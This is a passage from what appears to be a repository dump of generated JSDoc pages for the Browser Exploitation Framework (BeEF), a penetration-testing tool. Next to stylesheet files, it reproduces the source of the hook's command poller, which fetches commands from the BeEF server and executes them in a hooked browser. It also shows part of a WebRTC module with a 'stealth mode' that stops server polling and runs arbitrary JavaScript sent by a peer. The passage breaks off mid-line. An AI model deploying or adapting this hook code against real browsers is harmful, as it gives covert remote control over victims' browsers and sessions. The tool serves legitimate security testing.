top;\n    padding: 4px 6px;\n    display: table-cell;\n}\n\nthead tr\n{\n    background-color: #ddd;\n    font-weight: bold;\n}\n\nth { border-right: 1px solid #aaa; }\ntr > th:last-child { border-right: 1px solid #ddd; }\n\n.ancestors, .attribs { color: #999; }\n.ancestors a, .attribs a\n{\n    color: #999 !important;\n    text-decoration: none;\n}\n\n.clear\n{\n    clear: both;\n}\n\n.important\n{\n    font-weight: bold;\n    color: #950B02;\n}\n\n.yes-def {\n    text-indent: -1000px;\n}\n\n.type-signature {\n    color: #aaa;\n}\n\n.name, .signature {\n    font-family: Consolas, Monaco, 'Andale Mono', monospace;\n}\n\n.details { margin-top: 14px; border-left: 2px solid #DDD; }\n.details dt { width: 120px; float: left; padding-left: 10px;  padding-top: 6px; }\n.details dd { margin-left: 70px; }\n.details ul { margin: 0; }\n.details ul { list-style-type: none; }\n.details li { margin-left: 30px; padding-top: 6px; }\n.details pre.prettyprint { margin: 0 }\n.details .object-value { padding-top: 0; }\n\n.description {\n    margin-bottom: 1em;\n    margin-top: 1em;\n}\n\n.code-caption\n{\n    font-style: italic;\n    font-size: 107%;\n    margin: 0;\n}\n\n.source\n{\n    border: 1px solid #ddd;\n    width: 80%;\n    overflow: auto;\n}\n\n.prettyprint.source {\n    width: inherit;\n}\n\n.source code\n{\n    font-size: 100%;\n    line-height: 18px;\n    display: block;\n    padding: 4px 12px;\n    margin: 0;\n    background-color: #fff;\n    color: #4D4E53;\n}\n\n.prettyprint code span.line\n{\n  display: inline-block;\n}\n\n.prettyprint.linenums\n{\n  padding-left: 70px;\n  -webkit-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  user-select: none;\n}\n\n.prettyprint.linenums ol\n{\n  padding-left: 0;\n}\n\n.prettyprint.linenums li\n{\n  border-left: 3px #ddd solid;\n}\n\n.prettyprint.linenums li.selected,\n.prettyprint.linenums li.selected *\n{\n  background-color: lightyellow;\n}\n\n.prettyprint.linenums li *\n{\n  -webkit-user-select: text;\n  -moz-user-select: text;\n  -ms-user-select: text;\n  user-select: text;\n}\n\n.params .name, .props .name, .name code {\n    color: #4D4E53;\n    font-family: Consolas, Monaco, 'Andale Mono', monospace;\n    font-size: 100%;\n}\n\n.params td.description > p:first-child,\n.props td.description > p:first-child\n{\n    margin-top: 0;\n    padding-top: 0;\n}\n\n.params td.description > p:last-child,\n.props td.description > p:last-child\n{\n    margin-bottom: 0;\n    padding-bottom: 0;\n}\n\n.disabled {\n    color: #454545;\n}\n"
  },
  {
    "path": "docs/styles/prettify-jsdoc.css",
    "content": "/* JSDoc prettify.js theme */\n\n/* plain text */\n.pln {\n  color: #000000;\n  font-weight: normal;\n  font-style: normal;\n}\n\n/* string content */\n.str {\n  color: #006400;\n  font-weight: normal;\n  font-style: normal;\n}\n\n/* a keyword */\n.kwd {\n  color: #000000;\n  font-weight: bold;\n  font-style: normal;\n}\n\n/* a comment */\n.com {\n  font-weight: normal;\n  font-style: italic;\n}\n\n/* a type name */\n.typ {\n  color: #000000;\n  font-weight: normal;\n  font-style: normal;\n}\n\n/* a literal value */\n.lit {\n  color: #006400;\n  font-weight: normal;\n  font-style: normal;\n}\n\n/* punctuation */\n.pun {\n  color: #000000;\n  font-weight: bold;\n  font-style: normal;\n}\n\n/* lisp open bracket */\n.opn {\n  color: #000000;\n  font-weight: bold;\n  font-style: normal;\n}\n\n/* lisp close bracket */\n.clo {\n  color: #000000;\n  font-weight: bold;\n  font-style: normal;\n}\n\n/* a markup tag name */\n.tag {\n  color: #006400;\n  font-weight: normal;\n  font-style: normal;\n}\n\n/* a markup attribute name */\n.atn {\n  color: #006400;\n  font-weight: normal;\n  font-style: normal;\n}\n\n/* a markup attribute value */\n.atv {\n  color: #006400;\n  font-weight: normal;\n  font-style: normal;\n}\n\n/* a declaration */\n.dec {\n  color: #000000;\n  font-weight: bold;\n  font-style: normal;\n}\n\n/* a variable name */\n.var {\n  color: #000000;\n  font-weight: normal;\n  font-style: normal;\n}\n\n/* a function name */\n.fun {\n  color: #000000;\n  font-weight: bold;\n  font-style: normal;\n}\n\n/* Specify class=linenums on a pre to get line numbering */\nol.linenums {\n  margin-top: 0;\n  margin-bottom: 0;\n}\n"
  },
  {
    "path": "docs/styles/prettify-tomorrow.css",
    "content": "/* Tomorrow Theme */\n/* Original theme - https://github.com/chriskempson/tomorrow-theme */\n/* Pretty printing styles. Used with prettify.js. */\n/* SPAN elements with the classes below are added by prettyprint. */\n/* plain text */\n.pln {\n  color: #4d4d4c; }\n\n@media screen {\n  /* string content */\n  .str {\n    color: #718c00; }\n\n  /* a keyword */\n  .kwd {\n    color: #8959a8; }\n\n  /* a comment */\n  .com {\n    color: #8e908c; }\n\n  /* a type name */\n  .typ {\n    color: #4271ae; }\n\n  /* a literal value */\n  .lit {\n    color: #f5871f; }\n\n  /* punctuation */\n  .pun {\n    color: #4d4d4c; }\n\n  /* lisp open bracket */\n  .opn {\n    color: #4d4d4c; }\n\n  /* lisp close bracket */\n  .clo {\n    color: #4d4d4c; }\n\n  /* a markup tag name */\n  .tag {\n    color: #c82829; }\n\n  /* a markup attribute name */\n  .atn {\n    color: #f5871f; }\n\n  /* a markup attribute value */\n  .atv {\n    color: #3e999f; }\n\n  /* a declaration */\n  .dec {\n    color: #f5871f; }\n\n  /* a variable name */\n  .var {\n    color: #c82829; }\n\n  /* a function name */\n  .fun {\n    color: #4271ae; } }\n/* Use higher contrast and text-weight for printable form. */\n@media print, projection {\n  .str {\n    color: #060; }\n\n  .kwd {\n    color: #006;\n    font-weight: bold; }\n\n  .com {\n    color: #600;\n    font-style: italic; }\n\n  .typ {\n    color: #404;\n    font-weight: bold; }\n\n  .lit {\n    color: #044; }\n\n  .pun, .opn, .clo {\n    color: #440; }\n\n  .tag {\n    color: #006;\n    font-weight: bold; }\n\n  .atn {\n    color: #404; }\n\n  .atv {\n    color: #060; } }\n/* Style */\n/*\npre.prettyprint {\n  background: white;\n  font-family: Consolas, Monaco, 'Andale Mono', monospace;\n  font-size: 12px;\n  line-height: 1.5;\n  border: 1px solid #ccc;\n  padding: 10px; }\n*/\n\n/* Specify class=linenums on a pre to get line numbering */\nol.linenums {\n  margin-top: 0;\n  margin-bottom: 0; }\n\n/* IE indents via margin-left */\nli.L0,\nli.L1,\nli.L2,\nli.L3,\nli.L4,\nli.L5,\nli.L6,\nli.L7,\nli.L8,\nli.L9 {\n  /* */ }\n\n/* Alternate shading for lines */\nli.L1,\nli.L3,\nli.L5,\nli.L7,\nli.L9 {\n  /* */ }\n"
  },
  {
    "path": "docs/timeout.js.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Source: timeout.js</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Source: timeout.js</h1>\n\n    \n\n\n\n    \n    <section>\n        <article>\n            <pre class=\"prettyprint source linenums\"><code>//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/**\n * Sometimes there are timing issues and looks like beef_init\n * is not called at all (always in cross-origin situations,\n * for example calling the hook with jquery getScript,\n * or sometimes with event handler injections).\n * \n * To fix this, we call again beef_init after 1 second.\n * Cheers to John Wilander that discussed this bug with me at OWASP AppSec Research Greece\n * antisnatchor\n * @namespace beef.timeout\n */\n\n /**\n  * @memberof beef.timeout \n  * @function setTimeout \n  */\nsetTimeout(beef_init, 1000);\n</code></pre>\n        </article>\n    </section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>\n"
  },
  {
    "path": "docs/updater.js.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Source: updater.js</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Source: updater.js</h1>\n\n    \n\n\n\n    \n    <section>\n        <article>\n            <pre class=\"prettyprint source linenums\"><code>//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/**\n * Object in charge of getting new commands from the BeEF framework and execute them.\n * The XHR-polling channel is managed here. If WebSockets are enabled,\n * websocket.js is used instead.\n * @namespace beef.updater\n */\nbeef.updater = {\n\t\n\t/** XHR-polling timeout. */ \n\txhr_poll_timeout: \"&lt;%= @xhr_poll_timeout %>\",\n\t\n\t/** Hook session name. */ \n    beefhook: \"&lt;%= @hook_session_name %>\",\n\t\n\t/** A lock. */ \n\tlock: false,\n\t\n\t/** An object containing all values to be registered and sent by the updater. */\n\tobjects: new Object(),\n\t\n\t/**\n\t * Registers an object to always send when requesting new commands to the framework.\n\t * @param {String} key the name of the object.\n\t * @param {String} value the value of that object.\n\t * \n\t * @example beef.updater.regObject('java_enabled', 'true');\n\t */\n\tregObject: function(key, value) {\n\t\tthis.objects[key] = escape(value);\n\t},\n\t\n\t// Checks for new commands from the framework and runs them.\n\tcheck: function() {\n\t\tif(this.lock == false) {\n\t\t\tif (beef.logger.running) {\n\t\t\t\tbeef.logger.queue();\n\t\t\t}\n\t\t\tbeef.net.flush();\n\t\t\tif(beef.commands.length > 0) {\n\t\t\t\tthis.execute_commands();\n\t\t\t}else {\n\t\t\t\tthis.get_commands();    /*Polling*/\n\t\t\t}\n\t\t}\n        /* The following gives a stupid syntax error in IE, which can be ignored*/\n        setTimeout(function(){beef.updater.check()}, beef.updater.xhr_poll_timeout);\n\t},\n\t\n    /**\n     * Gets new commands from the framework.\n     */\n\tget_commands: function() {\n\t\ttry {\n\t\t\tthis.lock = true;\n            beef.net.request(beef.net.httpproto, 'GET', beef.net.host, beef.net.port, beef.net.hook, null, beef.updater.beefhook+'='+beef.session.get_hook_session_id(), 5, 'script', function(response) {\n                if (response.body != null &amp;&amp; response.body.length > 0)\n                    beef.updater.execute_commands();\n            });\n\t\t} catch(e) {\n\t\t\tthis.lock = false;\n\t\t\treturn;\n\t\t}\n\t\tthis.lock = false;\n\t},\n\t\n    /**\n     * Executes the received commands, if any.\n     */\n\texecute_commands: function() {\n\t\tif(beef.commands.length == 0) return;\n\t\tthis.lock = true;\n\t\twhile(beef.commands.length > 0) {\n\t\t\tcommand = beef.commands.pop();\n\t\t\ttry {\n\t\t\t\tcommand();\n\t\t\t} catch(e) {\n\t\t\t\tbeef.debug('execute_commands - command failed to execute: ' + e.message);\n                // prints the command source to be executed, to better trace errors\n                // beef.client_debug must be enabled in the main config\n                beef.debug(command.toString());\n\t\t\t}\n\t\t}\n\t\tthis.lock = false;\n\t}\n};\n\nbeef.regCmp('beef.updater');\n</code></pre>\n        </article>\n    </section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>\n"
  },
  {
    "path": "docs/webrtc.js.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Source: webrtc.js</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Source: webrtc.js</h1>\n\n    \n\n\n\n    \n    <section>\n        <article>\n            <pre class=\"prettyprint source linenums\"><code>//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n\n/**\n * Manage the WebRTC peer to peer communication channels.\n * This objects contains all the necessary client-side WebRTC components,\n * allowing browsers to use WebRTC to communicate with each other.\n * To provide signaling, the WebRTC extension sets up custom listeners.\n *  /rtcsignal - for sending RTC signalling information between peers\n *  /rtcmessage - for client-side rtc messages to be submitted back into beef and logged.\n *\n * To ensure signaling gets back to the peers, the hook.js dynamic construction also includes\n * the signalling.\n *\n * This is all mostly a Proof of Concept\n * @namespace beef.webrtc\n */\n\n/** \n * To handle multiple peers - we need to have a hash of Beefwebrtc objects. The key is the peer id. \n * @memberof beef.webrtc\n*/\nbeefrtcs = {};\n/** \n * To handle multiple Peers - we have to have a global hash of RTCPeerConnection objects\n * these objects persist outside of everything else. The key is the peer id.\n * @memberof beef.webrtc\n */\nglobalrtc = {}; \n/** \n * stealth should only be initiated from one peer - this global variable will contain:\n * false - i.e not stealthed; or\n * &lt;peerid> - i.e. the id of the browser which initiated stealth mode\n * @memberof beef.webrtc\n */\nrtcstealth = false; \n/** \n * To handle multiple event channels - we need to have a global hash of these. The key is the peer id \n * @memberof beef.webrtc\n*/\nrtcrecvchan = {}; \n\n/**\n * Beefwebrtc object - wraps everything together for a peer connection\n * One of these per peer connection, and will be stored in the beefrtc global hash\n * @memberof beef.webrtc\n * @param initiator \n * @param peer \n * @param turnjson \n * @param stunservers \n * @param verbparam \n */\nfunction Beefwebrtc(initiator,peer,turnjson,stunservers,verbparam) {\n    this.verbose = typeof verbparam !== 'undefined' ? verbparam : false; // whether this object is verbose or not\n    this.initiator = typeof initiator !== 'undefined' ? initiator : 0; // if 1 - this is the caller; if 0 - this is the receiver\n    this.peerid = typeof peer !== 'undefined' ? peer : null; // id of this rtc peer\n    this.turnjson = turnjson; // set of TURN servers in the format:\n                              // {\"username\": \"&lt;username\", \"password\": \"&lt;password>\", \"uris\": [\n                              //    \"turn:&lt;ip>:&lt;port>?transport=&lt;udp/tcp>\",\n                              //    \"turn:&lt;ip>:&lt;port>?transport=&lt;udp/tcp>\"]}\n    this.started = false; // Has signaling / dialing started for this peer\n    this.gotanswer = false; // For the caller - this determines whether they have received an SDP answer from the receiver\n    this.turnDone = false; // does the pcConfig have TURN servers added to it?\n    this.signalingReady = false; // the initiator (Caller) is always ready to signal. So this sets to true during init\n                                 // the receiver will set this to true once it receives an SDP 'offer'\n    this.msgQueue = []; // because the handling of SDP signals may happen in any order - we need a queue for them\n    this.pcConfig = null; // We set this during init\n    this.pcConstraints = {\"optional\": [{\"googImprovedWifiBwe\": true}]} // PeerConnection constraints\n    this.offerConstraints = {\"optional\": [], \"mandatory\": {}}; // Default SDP Offer Constraints - used in the caller\n    this.sdpConstraints = {'optional': [{'RtpDataChannels':true}]}; // Default SDP Constraints - used by caller and receiver\n    this.gatheredIceCandidateTypes = { Local: {}, Remote: {} }; // ICE Candidates\n    this.allgood = false; // Is this object / peer connection with the nominated peer ready to go?\n    this.dataChannel = null; // The data channel used by this peer\n    this.stunservers = stunservers; // set of STUN servers, in the format:\n                                    // [\"stun:stun.l.google.com:19302\",\"stun:stun1.l.google.com:19302\"]\n}\n\n/**\n * Initialize the object\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.initialize = function() {\n  if (this.peerid == null) {\n    return 0; // no peerid - NO DICE\n  }\n\n  // Initialise the pcConfig hash with the provided stunservers\n  var stuns = JSON.parse(this.stunservers);\n  this.pcConfig = {\"iceServers\": [{\"urls\":stuns, \"username\":\"user\",\n    \"credential\":\"pass\"}]};\n\n  // We're not getting the browsers to request their own TURN servers, we're specifying them through BeEF\n  // this.forceTurn(this.turnjson);\n  this.turnDone = true;\n\n  // Caller is always ready to create peerConnection.\n  this.signalingReady = this.initiator;\n\n  // Start .. maybe \n  this.maybeStart();\n\n  // If the window is closed, send a signal to beef .. this is not all that great, so just commenting out\n  // window.onbeforeunload = function() {\n  //   this.sendSignalMsg({type: 'bye'});\n  // }\n\n  return 1; // because .. yeah .. we had a peerid - this is good yar.\n}\n\n/** \n * Forces the TURN configuration (we can't query that computeengine thing because it's CORS is restrictive)\n * These values are now simply passed in from the config.yaml for the webrtc extension\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.forceTurn = function(jason) {\n    var turnServer = JSON.parse(jason);\n    var iceServers = createIceServers(turnServer.uris,\n                                      turnServer.username,\n                                      turnServer.password);\n    if (iceServers !== null) {\n        this.pcConfig.iceServers = this.pcConfig.iceServers.concat(iceServers);\n    }\n    beef.debug(\"Got TURN servers, will try and maybestart again..\");\n    this.turnDone = true;\n    this.maybeStart();\n}\n\n/**\n * Try and establish the RTC connection\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.createPeerConnection = function() {\n  beef.debug('Creating RTCPeerConnnection with the following options:\\n' +\n            '  config: \\'' + JSON.stringify(this.pcConfig) + '\\';\\n' +\n            '  constraints: \\'' + JSON.stringify(this.pcConstraints) + '\\'.');\n  try {\n    // Create an RTCPeerConnection via the polyfill (webrtcadapter.js).\n    globalrtc[this.peerid] = new RTCPeerConnection(this.pcConfig, this.pcConstraints);\n    globalrtc[this.peerid].onicecandidate = this.onIceCandidate;\n    beef.debug('Created RTCPeerConnnection with the following options:\\n' +\n              '  config: \\'' + JSON.stringify(this.pcConfig) + '\\';\\n' +\n              '  constraints: \\'' + JSON.stringify(this.pcConstraints) + '\\'.');\n    \n  } catch (e) {\n    beef.debug('Failed to create PeerConnection, exception: ');\n    beef.debug(e);\n    return;\n  }\n\n  // Assign event handlers to signalstatechange, iceconnectionstatechange, datachannel etc\n  globalrtc[this.peerid].onsignalingstatechange = this.onSignalingStateChanged;\n  globalrtc[this.peerid].oniceconnectionstatechange = this.onIceConnectionStateChanged;\n  globalrtc[this.peerid].ondatachannel = this.onDataChannel;\n  this.dataChannel = globalrtc[this.peerid].createDataChannel(\"sendDataChannel\", {reliable:false});\n}\n\n/** \n * When the PeerConnection receives a new ICE Candidate \n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.onIceCandidate = function(event) {\n  var peerid = null;\n\n  for (var k in beefrtcs) {\n    if (beefrtcs[k].allgood === false) {\n      peerid = beefrtcs[k].peerid;\n    }\n  }\n\n  beef.debug(\"Handling onicecandidate event while connecting to peer: \" + peerid + \". Event received:\");\n  beef.debug(event);\n\n  if (event.candidate) {\n    // Send the candidate to the peer via the BeEF signalling channel\n    beefrtcs[peerid].sendSignalMsg({type: 'candidate',\n                 label: event.candidate.sdpMLineIndex,\n                 id: event.candidate.sdpMid,\n                 candidate: event.candidate.candidate});\n    // Note this ICE candidate locally\n    beefrtcs[peerid].noteIceCandidate(\"Local\", beefrtcs[peerid].iceCandidateType(event.candidate.candidate));\n  } else {\n    beef.debug('End of candidates.');\n  }\n}\n\n/**\n * For all rtc signalling messages we receive as part of hook.js polling - we have to process them with this function\n * This will either add messages to the msgQueue and try and kick off maybeStart - or it'll call processSignalingMessage\n * against the message directly\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.processMessage = function(message) {\n  beef.debug('Signalling Message - S->C: ' + JSON.stringify(message));\n  var msg = JSON.parse(message);\n\n  if (!this.initiator &amp;&amp; !this.started) { // We are currently the receiver AND we have NOT YET received an SDP Offer\n    beef.debug('processing the message, as a receiver');\n    if (msg.type === 'offer') { // This IS an SDP Offer\n      beef.debug('.. and the message is an offer .. ');\n      this.msgQueue.unshift(msg); // put it on the top of the msgqueue\n      this.signalingReady = true; // As the receiver, we've now got an SDP Offer, so lets set signalingReady to true\n      this.maybeStart(); // Lets try and start again - this will end up with calleeStart() getting executed\n    } else { // This is NOT an SDP Offer - as the receiver, just add it to the queue\n      beef.debug(' .. the message is NOT an offer .. ');\n      this.msgQueue.push(msg);\n    }\n  } else if (this.initiator &amp;&amp; !this.gotanswer) { // We are currently the caller AND we have NOT YET received the SDP Answer\n    beef.debug('processing the message, as the sender, no answers yet');\n    if (msg.type === 'answer') { // This IS an SDP Answer\n        beef.debug('.. and we have an answer ..');\n        this.processSignalingMessage(msg); // Process the message directly\n        this.gotanswer = true; // We have now received an answer\n        //process all other queued message...\n        while (this.msgQueue.length > 0) {\n            this.processSignalingMessage(this.msgQueue.shift());\n        }\n    } else { // This is NOT an SDP Answer - as the caller, just add it to the queue\n        beef.debug('.. not an answer ..');\n        this.msgQueue.push(msg);\n    }\n  } else { // For all other messages just drop them in the queue\n    beef.debug('processing a message, but, not as a receiver, OR, the rtc is already up');\n    this.processSignalingMessage(msg);\n  } \n}\n\n/** \n * Send a signalling message ..\n * @memberof beef.webrtc\n */ \nBeefwebrtc.prototype.sendSignalMsg = function(message) {\n  var msgString = JSON.stringify(message);\n  beef.debug('Signalling Message - C->S: ' + msgString);\n  beef.net.send('/rtcsignal',0,{targetbeefid: this.peerid, signal: msgString});\n}\n\n/**\n * Used to record ICS candidates locally\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.noteIceCandidate = function(location, type) {\n  if (this.gatheredIceCandidateTypes[location][type])\n    return;\n  this.gatheredIceCandidateTypes[location][type] = 1;\n  // updateInfoDiv();\n}\n\n\n/**\n * When the signalling state changes. We don't actually do anything with this except log it.\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.onSignalingStateChanged = function(event) {\n  beef.debug(\"Signalling has changed to: \" + event.target.signalingState);\n}\n\n/**\n * When the ICE Connection State changes - this is useful to determine connection statuses with peers.\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.onIceConnectionStateChanged = function(event) {\n  var peerid = null;\n\n  for (k in globalrtc) {\n    if ((globalrtc[k].localDescription.sdp === event.target.localDescription.sdp) &amp;&amp; (globalrtc[k].localDescription.type === event.target.localDescription.type)) {\n      peerid = k;\n    }\n  }\n\n  beef.debug(\"ICE with peer: \" + peerid + \" has changed to: \" + event.target.iceConnectionState);\n\n  // ICE Connection Status has connected - this is good. Normally means the RTCPeerConnection is ready! Although may still look for \n  // better candidates or connections\n  if (event.target.iceConnectionState === 'connected') {\n    //Send status to peer\n    window.setTimeout(function() {\n        beefrtcs[peerid].sendPeerMsg('ICE Status: '+event.target.iceConnectionState);\n        beefrtcs[peerid].allgood = true;\n        },1000);\n  }\n\n  // Completed is similar to connected. Except, each of the ICE components are good, and no more testing remote candidates is done.\n  if (event.target.iceConnectionState === 'completed') {\n    window.setTimeout(function() {\n      beefrtcs[peerid].sendPeerMsg('ICE Status: '+event.target.iceConnectionState);\n      beefrtcs[peerid].allgood = true;\n    },1000);\n  }\n\n  if ((rtcstealth == peerid) &amp;&amp; (event.target.iceConnectionState === 'disconnected')) {\n    //I was in stealth mode, talking back to this peer - but it's gone offline.. come out of stealth\n    rtcstealth = false;\n    beefrtcs[peerid].allgood = false;\n    beef.net.send('/rtcmessage',0,{peerid: peerid, message: peerid + \" - has apparently gotten disconnected\"});\n  } else if ((rtcstealth == false) &amp;&amp; (event.target.iceConnectionState === 'disconnected')) {\n    //I was not in stealth, and this peer has gone offline - send a message\n    beefrtcs[peerid].allgood = false;\n    beef.net.send('/rtcmessage',0,{peerid: peerid, message: peerid + \" - has apparently gotten disconnected\"});\n  }\n  // We don't handle situations where a stealthed peer loses a peer that is NOT the peer that made it go into stealth\n  // This is possibly a bad idea - @xntrik\n\n\n}\n\n/**\n * This is the function when a peer tells us to go into stealth by sending a dataChannel message of \"!gostealth\"\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.goStealth = function() {\n    //stop the beef updater\n    rtcstealth = this.peerid; // this is a global variable\n    beef.updater.lock = true;\n    this.sendPeerMsg('Going into stealth mode');\n\n    setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 5);\n}\n\n/**\n * This is the actual poller when in stealth, it is global as well because we're using the setTimeout to execute it\n * @memberof beef.webrtc\n */\nrtcpollPeer = function() {\n    if (rtcstealth == false) {\n        //my peer has disabled stealth mode\n        beef.updater.lock = false;\n        return;\n    }\n\n    beef.debug('lub dub');\n\n    beefrtcs[rtcstealth].sendPeerMsg('Stayin alive'); // This is the heartbeat we send back to the peer that made us stealth\n\n    setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 5);\n}\n\n/** \n * When a data channel has been established - within here is the message handling function as well\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.onDataChannel = function(event) {\n  var peerid = null;\n  for (k in globalrtc) {\n    if ((globalrtc[k].localDescription.sdp === event.currentTarget.localDescription.sdp) &amp;&amp; (globalrtc[k].localDescription.type === event.currentTarget.localDescription.type)) {\n      peerid = k;\n    }\n  }\n\n  beef.debug(\"Peer: \" + peerid + \" has just handled the onDataChannel event\");\n  rtcrecvchan[peerid] = event.channel;\n\n  // This is the onmessage event handling within the datachannel\n  rtcrecvchan[peerid].onmessage = function(ev2) {\n    beef.debug(\"Received an RTC message from my peer[\"+peerid+\"]: \" + ev2.data);\n\n    // We've received the command to go into stealth mode\n    if (ev2.data == \"!gostealth\") {\n        if (beef.updater.lock == true) {\n            setTimeout(function() {beefrtcs[peerid].goStealth()},beef.updater.xhr_poll_timeout * 0.4);\n        } else {\n            beefrtcs[peerid].goStealth();\n        }\n\n    // The message to come out of stealth\n    } else if (ev2.data == \"!endstealth\") {\n\n      if (rtcstealth != null) {\n        beefrtcs[rtcstealth].sendPeerMsg(\"Coming out of stealth...\");\n        rtcstealth = false;\n      }\n\n    // Command to perform arbitrary JS (while stealthed)\n    } else if ((rtcstealth != false) &amp;&amp; (ev2.data.charAt(0) == \"%\")) {\n      beef.debug('message was a 